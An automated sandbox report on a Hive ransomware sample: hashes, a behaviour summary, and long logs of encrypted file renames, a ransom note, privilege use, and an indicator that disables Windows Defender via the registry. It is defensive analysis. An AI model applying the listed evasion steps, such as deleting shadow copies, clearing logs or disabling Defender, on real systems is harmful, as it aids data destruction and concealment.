Malware Analysis Report

2024-10-16 03:12

Sample ID 220112-x5zvradgek
Target 16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.7z
SHA256 d435a055b77b9cfa3281fe7219bb5b276cc685ba2f306c33a6cfe180ab232434
Tags
hive evasion ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

d435a055b77b9cfa3281fe7219bb5b276cc685ba2f306c33a6cfe180ab232434

Threat Level: Known bad

The file 16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.7z was found to be: Known bad.

Malicious Activity Summary

hive evasion ransomware spyware stealer trojan

Modifies security service

Modifies Windows Defender Real-time Protection settings

Hive

Deletes Windows Defender Definitions

Modifies boot configuration data using bcdedit

Clears Windows event logs

Deletes shadow copies

Modifies extensions of user files

Reads user/profile data of web browsers

Drops file in Program Files directory

Launches sc.exe

Suspicious use of AdjustPrivilegeToken

Interacts with shadow copies

Runs net.exe

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-01-12 19:26

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-01-12 19:26

Reported

2022-01-12 19:32

Platform

win7-en-20211208

Max time kernel

133s

Max time network

132s

Command Line

"C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Hive

ransomware hive

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4" C:\Windows\system32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Modifies extensions of user files

ransomware
Description Indicator Process Target
File opened for modification C:\Users\Admin\Pictures\UnregisterWait.raw.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_i20tSIhoOHU0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Users\Admin\Pictures\UseExport.tif.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_xLXNMQ1iWqo0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Users\Admin\Pictures\ImportDismount.crw.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_xZg6BXps2tw0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File renamed C:\Users\Admin\Pictures\CompareApprove.crw => C:\Users\Admin\Pictures\CompareApprove.crw.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_FfZS0VKx0Kk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Users\Admin\Pictures\CompareApprove.crw.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_FfZS0VKx0Kk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File renamed C:\Users\Admin\Pictures\SuspendTrace.tiff => C:\Users\Admin\Pictures\SuspendTrace.tiff.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_G3suovYdTz40.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Users\Admin\Pictures\SuspendTrace.tiff.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_G3suovYdTz40.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File renamed C:\Users\Admin\Pictures\UnregisterWait.raw => C:\Users\Admin\Pictures\UnregisterWait.raw.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_i20tSIhoOHU0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File renamed C:\Users\Admin\Pictures\UseExport.tif => C:\Users\Admin\Pictures\UseExport.tif.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_xLXNMQ1iWqo0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File renamed C:\Users\Admin\Pictures\ImportDismount.crw => C:\Users\Admin\Pictures\ImportDismount.crw.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_xZg6BXps2tw0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File renamed C:\Users\Admin\Pictures\StopSync.png => C:\Users\Admin\Pictures\StopSync.png.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_fsKeLzuyLFY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Users\Admin\Pictures\StopSync.png.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_fsKeLzuyLFY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Detroit.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_oWYjzLyp6yk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Mahe.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_e2X7LLyTugc0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\gtkTSFrame.png.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_06qPBXuOG-80.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt.fca.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_eG7t4wIM4TQ0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099194.GIF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_jM5LjdJqgvk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\MENU98.POC.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_L7uachoiNTI0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\120DPI\(120DPI)redStateIcon.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground.wmv C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Argentina\La_Rioja.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_HVUvy_RpihA0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\ECLIPSE_.SF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_KZsvxrl2NBs0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\El_Aaiun.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_qlHGXIqsH1o0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\FormsStyles\SpringGreen\BUTTON.GIF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_m306ytnFTL80.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PAGESIZE\PGMN105.XML.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_EheWWlP_wjk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgePackages.h.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_cmZN4rvGaEY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-api_zh_CN.jar.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_-lLl156IvJQ0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-impl.jar.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_AWRCaRdXu8w0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00828_.WMF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_SqOU4kxocc80.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\AddToViewArrowMask.bmp.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_rMxsJFPyrDM0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\bg_FormsHomePageSlice.gif.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_uWWw-QDjqHg0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\CALENDAR.DPV.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_3m-EqTu10fU0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0197983.WMF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_s7mGBtlFVv40.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0302827.JPG.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_T6Yjph_S2Lw0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\AlertImage_Auto.jpg.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_VeM3tjMUwmI0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\SoftBlue\TAB_OFF.GIF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_CO14NKofbJY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_ja.jar.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_pl-VrECAer40.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\vlc.mo.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_KbKXdeLFaN80.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\AN02559_.WMF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_Hs9fJMyfOCI0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099185.JPG.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_w6Sc5yu7g5U0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PE02262_.WMF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_B3aDEzcAYpc0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\de-DE\js\slideShow.js C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Managua.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_HjLP3ZGNsn40.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\EXPEDITN\EXPEDITN.ELM.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_pOpFcjONU4Q0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Horizon.thmx.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_hEi0I9eZcqk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.CO.IN.XML.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_xA0uzD8gJXg0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Wordcnvpxy.cnv.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_dtKW3_u_tpA0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_MATTE2_PAL.wmv C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Fakaofo.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_QVKFCpQT9t00.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_winxp_olv.css.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_wF9uwQ25Ajo0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\es-ES\currency.html C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\en-US\gadget.xml C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File created C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\CANYON\JZRG_HOW_TO_DECRYPT.txt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\MediaCenter.Gadget\images\Gadget_Main_Gradient.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\button_mid_disable.gif.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_oomvr8nEFiY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\16_9-frame-highlight.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationRight_SelectionSubpicture.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-awt.jar.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_fM2_7w4QIAg0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\cy.txt.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_SJRG9KtMu_c0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Windows Media Player\en-US\WMPSideShowGadget.exe.mui C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00157_.WMF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_hbTmsjyOBT40.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.COM.CN.XML.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_mnp9TVqcu440.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\fr-FR\gadget.xml C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGHEADING.XML.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_Np2xRzZVchY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\diner_s.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationLeft_ButtonGraphic.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_UTQ6oz7PDVs0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Internet Explorer\SIGNUP\install.ins.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_ODhth-QhzEU0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0105336.WMF.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_ZzS2KSEt7ls0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Solstice.eftx.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_3pfXx5qYdhE0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Office14\OutlookAutoDiscover\YAHOO.CO.NZ.XML.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_t4TTEKBriwk0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\win7Handle.png.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_GfLL8d4dGiA0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Colors\Apothecary.xml.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_89ikouwv29c0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyMainToScenesBackground_PAL.wmv C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.configuration_5.5.0.165303.jar.LIoXfRQifKiRdALbzLl5LG9qKMqeeYAaozvsoy7Jzqb_tN3yDuOERBY0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A

Launches sc.exe

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\wevtutil.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
